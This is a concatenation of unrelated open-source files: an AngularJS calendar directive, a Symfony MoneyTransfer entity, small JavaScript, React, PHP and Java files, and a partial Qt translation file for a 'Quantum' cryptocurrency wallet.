vm.dayViewSplit = parseInt(vm.dayViewSplit);
var dayStart = (vm.dayViewStart || '00:00').split(':');
var dayEnd = (vm.dayViewEnd || '23:59').split(':');
vm.hourGrid = calendarUtils.getDayViewHourGrid({
viewDate: vm.view === 'week' ? moment(vm.viewDate).startOf('week').toDate() : moment(vm.viewDate).toDate(),
hourSegments: 60 / vm.dayViewSplit,
dayStart: {
hour: dayStart[0],
minute: dayStart[1]
},
dayEnd: {
hour: dayEnd[0],
minute: dayEnd[1]
}
});
vm.hourGrid.forEach(function(hour) {
hour.segments.forEach(function(segment) {
segment.date = moment(segment.date);
segment.nextSegmentDate = segment.date.clone().add(vm.dayViewSplit, 'minutes');
if (vm.view === 'week') {
segment.days = [];
for (var i = 0; i < 7; i++) {
var day = {
date: moment(segment.date).add(i, 'days')
};
day.nextSegmentDate = day.date.clone().add(vm.dayViewSplit, 'minutes');
vm.cellModifier({calendarCell: day});
segment.days.push(day);
}
} else {
vm.cellModifier({calendarCell: segment});
}
});
});
}
var originalLocale = moment.locale();
$scope.$on('calendar.refreshView', function() {
if (originalLocale !== moment.locale()) {
originalLocale = moment.locale();
updateDays();
}
});
$scope.$watchGroup([
'vm.dayViewStart',
'vm.dayViewEnd',
'vm.dayViewSplit',
'vm.viewDate'
], function() {
updateDays();
});
vm.eventDropped = function(event, date) {
var newStart = moment(date);
var newEnd = calendarHelper.adjustEndDateFromStartDiff(event.startsAt, newStart, event.endsAt);
vm.onEventTimesChanged({
calendarEvent: event,
calendarDate: date,
calendarNewEventStart: newStart.toDate(),
calendarNewEventEnd: newEnd ? newEnd.toDate() : null
});
};
vm.onDragSelectStart = function(date, dayIndex) {
if (!vm.dateRangeSelect) {
vm.dateRangeSelect = {
active: true,
startDate: date,
endDate: date,
dayIndex: dayIndex
};
}
};
vm.onDragSelectMove = function(date) {
if (vm.dateRangeSelect) {
vm.dateRangeSelect.endDate = date;
}
};
vm.onDragSelectEnd = function(date) {
if (vm.dateRangeSelect) {
vm.dateRangeSelect.endDate = date;
if (vm.dateRangeSelect.endDate > vm.dateRangeSelect.startDate) {
vm.onDateRangeSelect({
calendarRangeStartDate: vm.dateRangeSelect.startDate.toDate(),
calendarRangeEndDate: vm.dateRangeSelect.endDate.toDate()
});
}
delete vm.dateRangeSelect;
}
};
})
.directive('mwlCalendarHourList', function() {
return {
restrict: 'E',
template: '<div mwl-dynamic-directive-template name="calendarHourList" overrides="vm.customTemplateUrls"></div>',
controller: 'MwlCalendarHourListCtrl as vm',
scope: {
viewDate: '=',
dayViewStart: '=',
dayViewEnd: '=',
dayViewSplit: '=',
dayWidth: '=?',
onTimespanClick: '=',
onDateRangeSelect: '=',
onEventTimesChanged: '=',
customTemplateUrls: '=?',
cellModifier: '=',
templateScope: '=',
view: '@'
},
bindToController: true
};
});
| mattlewis92/angular-bootstrap-calendar | src/directives/mwlCalendarHourList.js | JavaScript | mit | 4,724 |
<?php
namespace Spolischook\MiniShopBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Gedmo\Mapping\Annotation as Gedmo;
use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\Validator\Context\ExecutionContextInterface;
/**
* MoneyTransfer
*
* @ORM\Table(name="money_transfer")
* @ORM\Entity
* @ORM\HasLifecycleCallbacks()
* @Gedmo\SoftDeleteable(fieldName="deletedAt", timeAware=false)
*/
class MoneyTransfer implements ItemMovingInterface
{
/**
* @var integer
*
* @ORM\Column(name="id", type="integer")
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
*/
private $id;
/**
* @var string
*
* @ORM\ManyToOne(targetEntity="Spolischook\MiniShopBundle\Entity\Bank")
* @Assert\NotBlank()
*/
private $fromBank;
/**
* @var string
*
* @ORM\ManyToOne(targetEntity="Spolischook\MiniShopBundle\Entity\Bank")
* @Assert\NotBlank()
*/
private $toBank;
/**
* @var string
*
* @ORM\Column(name="quantity", type="integer")
* @Assert\GreaterThan(value=0)
*/
private $quantity;
/**
* @var string
*
* @ORM\Column(name="comment", type="string", length=255, nullable=true)
*/
private $comment;
/**
* @var \DateTime
*
* @ORM\Column(name="createdAt", type="datetime")
* @Gedmo\Timestampable(on="create")
*/
private $createdAt;
/**
* @var \DateTime
*
* @ORM\Column(name="deletedAt", type="datetime", nullable=true)
*/
private $deletedAt;
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set createdAt
*
* @param \DateTime $createdAt
* @return MoneyTransfer
*/
public function setCreatedAt($createdAt)
{
$this->createdAt = $createdAt;
return $this;
}
/**
* Get createdAt
*
* @return \DateTime
*/
public function getCreatedAt()
{
return $this->createdAt;
}
/**
* Set comment
*
* @param string $comment
* @return MoneyTransfer
*/
public function setComment($comment)
{
$this->comment = $comment;
return $this;
}
/**
* Get comment
*
* @return string
*/
public function getComment()
{
return $this->comment;
}
/**
* Set quantity
*
* @param integer $quantity
* @return MoneyTransfer
*/
public function setQuantity($quantity)
{
$this->quantity = $quantity;
return $this;
}
/**
* Get quantity
*
* @return integer
*/
public function getQuantity()
{
return $this->quantity;
}
/**
* Set deletedAt
*
* @param \DateTime $deletedAt
* @return MoneyTransfer
*/
public function setDeletedAt($deletedAt)
{
$this->deletedAt = $deletedAt;
return $this;
}
/**
* Get deletedAt
*
* @return \DateTime
*/
public function getDeletedAt()
{
return $this->deletedAt;
}
/**
* Set fromBank
*
* @param \Spolischook\MiniShopBundle\Entity\Bank $fromBank
* @return MoneyTransfer
*/
public function setFromBank(\Spolischook\MiniShopBundle\Entity\Bank $fromBank = null)
{
$this->fromBank = $fromBank;
return $this;
}
/**
* Get fromBank
*
* @return \Spolischook\MiniShopBundle\Entity\Bank
*/
public function getFromBank()
{
return $this->fromBank;
}
/**
* Set toBank
*
* @param \Spolischook\MiniShopBundle\Entity\Bank $toBank
* @return MoneyTransfer
*/
public function setToBank(\Spolischook\MiniShopBundle\Entity\Bank $toBank = null)
{
$this->toBank = $toBank;
return $this;
}
/**
* Get toBank
*
* @return \Spolischook\MiniShopBundle\Entity\Bank
*/
public function getToBank()
{
return $this->toBank;
}
/**
* @return string
*/
public function getFrom()
{
return 'Bank type: ' . $this->getFromBank()->getType();
}
/**
* @return string
*/
public function getTo()
{
return 'Bank type: ' . $this->getToBank()->getType();
}
public function getRouterChunkClassName()
{
return 'moneytransfer';
}
/**
* @Assert\Callback
*/
public function validateEqualBank(ExecutionContextInterface $context)
{
if ($this->getFromBank()->getId() === $this->getToBank()->getId()) {
$context->buildViolation('you_cant_move_money_to_the_same_bank')
->atPath('toBank')
->addViolation();
}
}
/**
* @Assert\Callback
*/
public function validateEnoughMoney(ExecutionContextInterface $context)
{
if ($this->getFromBank()->getTotal() - $this->getQuantity() < 0) {
$context->buildViolation('you_cant_move_more_then', ['%bankTotal%' => $this->getFromBank()->getTotal()])
->atPath('quantity')
->addViolation();
}
}
}
| spolischook/MiniShop | src/Spolischook/MiniShopBundle/Entity/MoneyTransfer.php | PHP | mit | 5,264 |
'use strict';
describe('Controller: MainCtrl', function() {
// load the controller's module
beforeEach(module('actionatadistanceApp'));
var MainCtrl,
scope;
// Initialize the controller and a mock scope
beforeEach(inject(function($controller) {
scope = {};
MainCtrl = $controller('MainCtrl', {
$scope: scope
});
}));
it('should attach a list of awesomeThings to the scope', function() {
expect(scope.awesomeThings.length).toBe(3);
});
});
| egonz/action-at-a-distance | test/spec/controllers/main.js | JavaScript | mit | 486 |
import React from 'react';
import PropTypes from 'prop-types';
import _get from 'lodash.get';
import _words from 'lodash.words';
import { VictoryAxis,
VictoryBar,
VictoryChart,
VictoryTheme } from 'victory';
export class CrawlChart extends React.Component {
constructor(props) {
super(props);
this.state = {
data: [
{movie: 1, word_count: 0},
{movie: 2, word_count: 0},
{movie: 3, word_count: 0},
{movie: 4, word_count: 0},
{movie: 5, word_count: 0},
{movie: 6, word_count: 0},
{movie: 7, word_count: 0}
]
};
}
componentWillReceiveProps(nextProps) {
let movieCrawls = nextProps.movies.map((m) => _get(m, 'opening_crawl', ''));
let newState = {
data: movieCrawls.map((c, i) => { return { movie: i+1, word_count: _words(c).length}; })
};
this.setState(newState);
}
render() {
return (
<div>
<h3>Opening Crawl Word Count</h3>
<VictoryChart
// adding the material theme provided with Victory
animate={{duration: 500}}
theme={VictoryTheme.material}
domainPadding={20}
>
<VictoryAxis
tickFormat={['Ep 1', 'Ep 2', 'Ep 3', 'Ep 4', 'Ep 5', 'Ep 6', 'Ep 7']}
tickValues={[1, 2, 3, 4, 5, 6, 7]}
/>
<VictoryAxis
dependentAxis
domain={[0, 100]}
tickFormat={(x) => (`${x}`)}
/>
<VictoryBar
data={this.state.data}
style={{
data: {fill: '#fe9901', width:12}
}}
labels={(d) => `${Math.ceil(d.y)}`}
x="movie"
y="word_count"
/>
</VictoryChart>
</div>
);
}
}
CrawlChart.propTypes = {
movies: PropTypes.arrayOf(
PropTypes.shape({
opening_crawl: PropTypes.string.isRequired,
title: PropTypes.string
})
)
}; | Benguino/star-wars-project | src/components/CrawlChart.js | JavaScript | mit | 1,935 |
<?php
namespace App\Office\Models;
use Illuminate\Database\Eloquent\Model;
class OfficeSetting extends Model
{
protected $fillable = ['task_enabled', 'discussion_enabled', 'message_enabled', 'event_enabled', 'file_enabled', 'roadmap_enabled'];
}
| iluminar/goodwork | app/Office/Models/OfficeSetting.php | PHP | mit | 253 |
// ES2015 사용을 위한 babel 모듈 호출
import 'babel-polyfill';
// 전역 변수 객체 호출
import globalConfig from './helpers/global-config';
// npm 모듈 호출
import mobileDetect from 'mobile-detect';
//import scroll from 'scroll';
//import ease from 'ease-component';
import detectScrollPageObj from 'scroll-doc';
// devTools 호출
import devTools from './devtools/dev-tools';
import mirror from './devtools/mirror';
import preview from './devtools/preview';
// 헬퍼 모듈 호출
import catchEventTarget from './helpers/catch-event-target';
//import clipboardFunc from './helpers/clipboard-function';
//import cloneObj from './helpers/clone-obj';
//import colorAdjust from './helpers/color-adjust';
//import delayEvent from './helpers/delay-event';
import index from './helpers/index';
//import parents from './helpers/parents';
//import readingZero from './helpers/reading-zero';
//import toggleBoolean from './helpers/toggle-boolean';
import modifier from './helpers/modifier';
//import splitSearch from '../../app_helpers/split-search';
// 프로젝트 모듈 호출
//import {socketFunc} from './project/socket';
//import * as kbs from './project/kbs';
// 전역변수 선언
let socket;
document.addEventListener('DOMContentLoaded', () => {
// 돔 로드완료 이벤트
const WIN = window,
DOC = document,
MD = new mobileDetect(WIN.navigator.userAgent),
detectScrollPage = detectScrollPageObj();
if(MD.mobile()) console.log(`mobile DOM's been loaded`);
else console.log(`DOM's been loaded`);
DOC.addEventListener('click', (e) => {
// 클릭 이벤트 버블링
const eventTarget = catchEventTarget(e.target || e.srcElement);
console.log(eventTarget.target, eventTarget.findJsString);
switch(eventTarget.findJsString) {
case 'js-copy-link' :
console.log(index(eventTarget.target));
scroll.top(
detectScrollPage,
1000,
{
duration: 1000,
ease: ease.inQuint
},
function (error, scrollLeft) {
}
);
modifier(
'toggle',
eventTarget.target,
'paging__elm--actived'
);
break;
default :
return false;
}
}, false);
WIN.addEventListener('load', () => {
// 윈도우 로드완료 이벤트
if(MD.mobile()) console.log(`mobile WINDOW's been loaded`);
else console.log(`WINDOW's been loaded`);
// socket = io();
// socketFunc(socket);
});
WIN.addEventListener('resize', () => {
// 윈도우 리사이즈 이벤트
// delayEvent(/*second*/, /*func*/);
});
WIN.addEventListener('keypress', (e) => {
const pressedKeyCode = e.which;
switch(pressedKeyCode) {
case 0:
// some Function
break;
default :
return false;
}
});
DOC.addEventListener('wheel', (e) => {
const eventTarget = catchEventTarget(e.target || e.srcElement);
switch(eventTarget.findJsString) {
case 'js-test':
console.log(eventTarget.target);
break;
default :
return false;
}
}, true);
DOC.addEventListener('touchstart', (e) => {
let touchObj = e.changedTouches[0];
});
DOC.addEventListener('touchmove', (e) => {
let touchObj = e.changedTouches[0];
});
DOC.addEventListener('touchend', (e) => {
let touchObj = e.changedTouches[0];
});
}); | boolean99/gulp | src/webpack/main.js | JavaScript | mit | 3,459 |
package com.appian.intellij.k;
import java.util.Collection;
import java.util.Collections;
import org.jetbrains.annotations.NotNull;
import com.appian.intellij.k.psi.KElementFactory;
import com.appian.intellij.k.psi.KNamespaceDeclaration;
import com.appian.intellij.k.psi.KSymbol;
import com.appian.intellij.k.psi.KUserId;
import com.intellij.lang.ASTNode;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.TextRange;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.PsiElement;
import com.intellij.util.IncorrectOperationException;
public final class KSymbolicReference extends KReferenceBase {
KSymbolicReference(KSymbol element, TextRange textRange) {
super(element, textRange, false);
}
@NotNull
@Override
Collection<KUserId> resolve0(boolean stopAfterFirstMatch) {
final String referenceName = myElement.getText().substring(1);
return resolve00(referenceName, stopAfterFirstMatch);
}
@NotNull
private Collection<KUserId> resolve00(String referenceName, boolean stopAfterFirstMatch) {
final VirtualFile sameFile = myElement.getContainingFile().getOriginalFile().getVirtualFile();
if (sameFile == null || sameFile.getCanonicalPath() == null) {
return Collections.emptyList();
}
final PsiElement context = myElement.getContext();
if (context instanceof KNamespaceDeclaration) {
return Collections.emptyList();
}
final Project project = myElement.getProject();
final String fqn;
if (KUtil.isAbsoluteId(referenceName)) {
fqn = referenceName;
} else {
final String currentNs = KUtil.getCurrentNamespace(myElement);
fqn = KUtil.generateFqn(currentNs, referenceName);
}
final KUtil.ExactGlobalAssignmentMatcher matcher = new KUtil.ExactGlobalAssignmentMatcher(fqn);
return findDeclarations(project, sameFile, stopAfterFirstMatch, matcher);
}
@Override
public PsiElement handleElementRename(@NotNull final String newName) throws IncorrectOperationException {
final KUserId declaration = (KUserId)resolve();
final String newEffectiveName = getNewNameForUsage(declaration, myElement, newName);
final ASTNode keyNode = myElement.getNode().getFirstChildNode();
KSymbol property = KElementFactory.createKSymbol(myElement.getProject(), toSymbolicName(newEffectiveName));
ASTNode newKeyNode = property.getFirstChild().getNode();
myElement.getNode().replaceChild(keyNode, newKeyNode);
KUserIdCache.getInstance().remove(myElement);
return myElement;
}
private String toSymbolicName(String name) {
return name.charAt(0) == '`' ? name : "`" + name;
}
}
| a2ndrade/k-intellij-plugin | src/main/java/com/appian/intellij/k/KSymbolicReference.java | Java | mit | 2,654 |
<?xml version="1.0" ?><!DOCTYPE TS><TS language="ca@valencia" version="2.1">
<context>
<name>AboutDialog</name>
<message>
<location filename="../forms/aboutdialog.ui" line="+14"/>
<source>About Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+39"/>
<source><b>Quantum</b> version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+41"/>
<source>Copyright © 2009-2014 The Bitcoin developers
Copyright © 2012-2014 The NovaCoin developers
Copyright © 2014 The Quantum developers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>
This is experimental software.
Distributed under the MIT/X11 software license, see the accompanying file COPYING or http://www.opensource.org/licenses/mit-license.php.
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) and cryptographic software written by Eric Young (eay@cryptsoft.com) and UPnP software written by Thomas Bernard.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AddressBookPage</name>
<message>
<location filename="../forms/addressbookpage.ui" line="+14"/>
<source>Address Book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+22"/>
<source>Double-click to edit address or label</source>
<translation>Doble click per editar la direccio o la etiqueta</translation>
</message>
<message>
<location line="+27"/>
<source>Create a new address</source>
<translation>Crear nova direccio</translation>
</message>
<message>
<location line="+14"/>
<source>Copy the currently selected address to the system clipboard</source>
<translation>Copieu l'adreça seleccionada al porta-retalls del sistema</translation>
</message>
<message>
<location line="-11"/>
<source>&New Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-46"/>
<source>These are your Quantum addresses for receiving payments. You may want to give a different one to each sender so you can keep track of who is paying you.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+60"/>
<source>&Copy Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Show &QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Sign a message to prove you own a Quantum address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Sign &Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Delete the currently selected address from the list</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-14"/>
<source>Verify a message to ensure it was signed with a specified Quantum address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Verify Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>&Delete</source>
<translation>Eliminar</translation>
</message>
<message>
<location filename="../addressbookpage.cpp" line="+65"/>
<source>Copy &Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>&Edit</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+250"/>
<source>Export Address Book Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Error exporting</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AddressTableModel</name>
<message>
<location filename="../addresstablemodel.cpp" line="+144"/>
<source>Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+36"/>
<source>(no label)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>AskPassphraseDialog</name>
<message>
<location filename="../forms/askpassphrasedialog.ui" line="+26"/>
<source>Passphrase Dialog</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>Enter passphrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>New passphrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>Repeat new passphrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+33"/>
<source>Serves to disable the trivial sendmoney when OS account compromised. Provides no real security.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>For staking only</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../askpassphrasedialog.cpp" line="+35"/>
<source>Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>10 or more random characters</b>, or <b>eight or more words</b>.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Encrypt wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>This operation needs your wallet passphrase to unlock the wallet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Unlock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>This operation needs your wallet passphrase to decrypt the wallet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Decrypt wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Change passphrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter the old and new passphrase to the wallet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+46"/>
<source>Confirm wallet encryption</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR COINS</b>!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Are you sure you wish to encrypt your wallet?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>IMPORTANT: Any previous backups you have made of your wallet file should be replaced with the newly generated, encrypted wallet file. For security reasons, previous backups of the unencrypted wallet file will become useless as soon as you start using the new, encrypted wallet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+103"/>
<location line="+24"/>
<source>Warning: The Caps Lock key is on!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-133"/>
<location line="+60"/>
<source>Wallet encrypted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-58"/>
<source>Quantum will close now to finish the encryption process. Remember that encrypting your wallet cannot fully protect your coins from being stolen by malware infecting your computer.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+7"/>
<location line="+44"/>
<location line="+6"/>
<source>Wallet encryption failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-56"/>
<source>Wallet encryption failed due to an internal error. Your wallet was not encrypted.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<location line="+50"/>
<source>The supplied passphrases do not match.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-38"/>
<source>Wallet unlock failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<location line="+12"/>
<location line="+19"/>
<source>The passphrase entered for the wallet decryption was incorrect.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-20"/>
<source>Wallet decryption failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+14"/>
<source>Wallet passphrase was successfully changed.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>BitcoinGUI</name>
<message>
<location filename="../bitcoingui.cpp" line="+282"/>
<source>Sign &message...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+251"/>
<source>Synchronizing with network...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-319"/>
<source>&Overview</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show general overview of wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>&Transactions</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Browse transaction history</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>&Address Book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Edit the list of stored addresses and labels</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-13"/>
<source>&Receive coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show the list of addresses for receiving payments</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-7"/>
<source>&Send coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>E&xit</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Quit application</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Show information about Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>About &Qt</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show information about Qt</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>&Options...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>&Encrypt Wallet...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Backup Wallet...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>&Change Passphrase...</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+259"/>
<source>~%n block(s) remaining</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Downloaded %1 of %2 blocks of transaction history (%3% done).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-256"/>
<source>&Export...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-64"/>
<source>Send coins to a Quantum address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+47"/>
<source>Modify configuration options for Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>Export the data in the current tab to a file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-14"/>
<source>Encrypt or decrypt wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Backup wallet to another location</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Change the passphrase used for wallet encryption</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>&Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Open debugging and diagnostic console</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>&Verify message...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-202"/>
<source>Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+180"/>
<source>&About Quantum</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>&Show / Hide</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Unlock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>&Lock Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Lock wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+35"/>
<source>&File</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>&Settings</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>&Help</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Tabs toolbar</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Actions toolbar</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<location line="+9"/>
<source>[testnet]</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<location line="+60"/>
<source>Quantum client</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+75"/>
<source>%n active connection(s) to Quantum network</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+40"/>
<source>Downloaded %1 blocks of transaction history.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+413"/>
<source>Staking.<br>Your weight is %1<br>Network weight is %2<br>Expected time to earn reward is %3</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Not staking because wallet is locked</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because wallet is syncing</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Not staking because you don't have mature coins</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="-403"/>
<source>%n second(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="-312"/>
<source>About Quantum card</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Show information about Quantum card</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>&Unlock Wallet...</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+297"/>
<source>%n minute(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n hour(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n day(s) ago</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Up to date</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Catching up...</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Last received block was generated %1.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>This transaction is over the size limit. You can still send it for a fee of %1, which goes to the nodes that process your transaction and helps to support the network. Do you want to pay the fee?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Confirm transaction fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Sent transaction</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Incoming transaction</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Date: %1
Amount: %2
Type: %3
Address: %4
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+100"/>
<location line="+15"/>
<source>URI handling</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-15"/>
<location line="+15"/>
<source>URI can not be parsed! This can be caused by an invalid Quantum address or malformed URI parameters.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+18"/>
<source>Wallet is <b>encrypted</b> and currently <b>unlocked</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Wallet is <b>encrypted</b> and currently <b>locked</b></source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Backup Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Wallet Data (*.dat)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Backup Failed</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>There was an error trying to save the wallet data to the new location.</source>
<translation type="unfinished"/>
</message>
<message numerus="yes">
<location line="+76"/>
<source>%n second(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n minute(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n hour(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message numerus="yes">
<location line="+4"/>
<source>%n day(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+18"/>
<source>Not staking</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../bitcoin.cpp" line="+109"/>
<source>A fatal error occurred. Quantum can no longer continue safely and will quit.</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>ClientModel</name>
<message>
